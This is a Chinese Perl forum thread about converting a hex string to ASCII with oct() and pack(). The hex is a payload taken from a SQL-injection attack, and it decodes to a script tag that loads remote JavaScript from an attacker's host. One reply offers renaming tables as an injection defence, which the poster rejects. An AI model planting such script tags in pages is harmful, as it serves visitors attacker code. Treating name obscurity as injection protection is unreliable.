PERL新手,把16进制转换为ASCII的字符,列表变量发生了什么变化?(己解决)

PERL新手,把16进制转换为ASCII的字符,列表变量发生了什么变化?(己解决)

$shiliu = "3C2F7469746C653E3C2F7072653E3E3C736372697074207372633D687474703A2F2F73622E353235322E77733A38382F3130372F312E6A733E3C2F7363726970743E3C212D2D";
## 忍不住想骂那帮搞SQL注入攻击的,上面就是他们的网站连接。
@a=split //,$shiliu;
$cd=@a;#得到列表个数
$i=0;
while ( $i < ($cd/2) ) {
$_=(shift@a).(shift@a);
push @b,$_;
$i++
}

foreach  (@b) {
print chr("0x".($_));
}

得到都是0x样的字符,得不到想要的结果,而直接用print chr(0x3C);就可以得到一个正确的“<”?

因为
"0x"."$_拼接以后是一个字符串
而chr函数需要的是一个数字,虽然你的字符串是0x开头的,但是perl不会隐形的帮你做16进制的转化,perl只帮你做10进制的转化
所以这个时候chr函数得到的参数是0

你可以调用oct函数转化之

QUOTE:
oct EXPR
       oct     Interprets EXPR as an octal string and returns the correspond-
               ing value.  (If EXPR happens to start off with "0x", interprets
               it as a hex string.  If EXPR starts off with "0b", it is inter-
               preted as a binary string.  Leading whitespace is ignored in
               all three cases.)  The following will handle decimal, binary,
               octal, and hex in the standard Perl or C notation:

                   $val = oct($val) if $val =~ /^0/;

               If EXPR is omitted, uses $_.   To go the other way (produce a
               number in octal), use sprintf() or printf():

                   $perms = (stat("filename"))[2] & 07777;
                   $oct_perms = sprintf "%lo", $perms;

               The oct() function is commonly used when a string such as 644
               needs to be converted into a file mode, for example. (Although
               perl will automatically convert strings into numbers as needed,
               this automatic conversion assumes base 10.)

下面的代码就是可以的

QUOTE:
<lig@romeo:~/chinaunix>$ perl -e 'my $a = "3C"; print chr( oct ("0x".$a)),"\n"'
<



[Copy to clipboard] [ - ]
CODE:
#!/usr/bin/perl
use strict;
use warnings;
my $data = "3C2F7469746C653E3C2F7072653E3E3C736372697074207372633D687474703A2F2F73622E353235322E77733A38382F3130372F312E6A733E3C2F7363726970743E3C212D2D";
my @hex = $data  =~ m/(..)/g;
print chr ( oct ("0x". $_ ) ) foreach @hex;
print "\n";



QUOTE:
<lig@romeo:~/chinaunix>$ ./trans
</title></pre>><script src=http://sb.5252.ws:88/107/1.js></script><!--

我靠
这网址也太有才了
sb && ws && js
受教了,谢谢churchmice 。
=~ m/(..)/g里这两个点是什么意思


QUOTE:
原帖由 gudfen 于 2008-5-9 20:22 发表
=~ m/(..)/g里这两个点是什么意思

匹配2个字符
用pack吧,
print pack('H*',$hex); #当$hex的值是3C时,
                                   #就可得到"<"

(p.s. 不需要\0x)

Hope This Help

帮助文件在这里
system("perldoc -f pack");

至于SQL Injection方面,
把表名&&列名改作另外一些较少用的名称
不就行了吗?

用pack更简单了,谢谢。
关于SQL注入攻击,不太认同,把表名&&列名改作另外一些较少用的名称,因为列名和变量明一样吧,越是明显越是好,防止SQL注入,需要在编写代码和WEB系统安全方面多做些工作才是。